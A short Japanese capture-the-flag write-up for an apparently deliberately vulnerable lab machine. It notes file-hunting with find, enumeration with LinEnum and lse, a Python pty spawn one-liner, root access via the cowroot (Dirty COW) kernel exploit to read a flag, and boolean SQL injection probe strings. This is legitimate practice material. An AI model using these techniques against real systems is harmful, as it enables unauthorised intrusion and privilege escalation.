- (好み分かれる、めっちゃメタい探し方)vulnuniユーザフォルダが00:38ごろに作成、最終更新日時が16:57、脆弱性が埋め込まれている場合この時間内にファイルが作成されていると判断、find / -type f -mtime -XXXX -mtime +XXXXで作成日の1:00-19:00ぐらいを指定、特になさそうだった
- LinEnum, lse, findの結果からPrivilege EscalationにはKernelもしくはOSインストール時に入っているソフトウェアのバージョンに依存した脆弱性が使えると判断、Kernelに絞って一通りPoCを試す
- python -c 'import pty; pty.spawn("/bin/bash")'
- cowroot.cが刺さった。cat /root/flag.txt > ff19f8d0692fe20f8af33a3bfa6635dd
所感
- Webクロールからリンク見つけて公開情報探して〜の下りは、非常に汎用性のある基本的なもので良かったと思う。いい感じのBeginnerレベルで、若干CTF勘が戻せたかなと思った。
- リンク抽出のところに関してはZapとかspider機能があるツールを使う or spider作っとくとかしとけばもうちょい時間短縮になる、と反省
- SQL Injectionは調べる前からなんとなくログイン画面にありそうだなーとは思いつつ、'(シングルクォート)を複数個だけ投げて「よくわからん、調べよ」と結論付けたので、もうちょいパラメータに関してあたりをつけてからGoogle先生に聞けば良かったかなと反省。具体的には1'and'1'='1, 1'and'1'='2, 1'adn'1'='2とかを投げてから(反応差なかったんだけど)
- pythonでの仮想ttyを実行しとかないとcowrootの結果が見れなかった。tty整えるのマジ大事
- cowroot刺さった数秒後にマシンがCrashした。果たしてこれはクリアでいいのか?
以上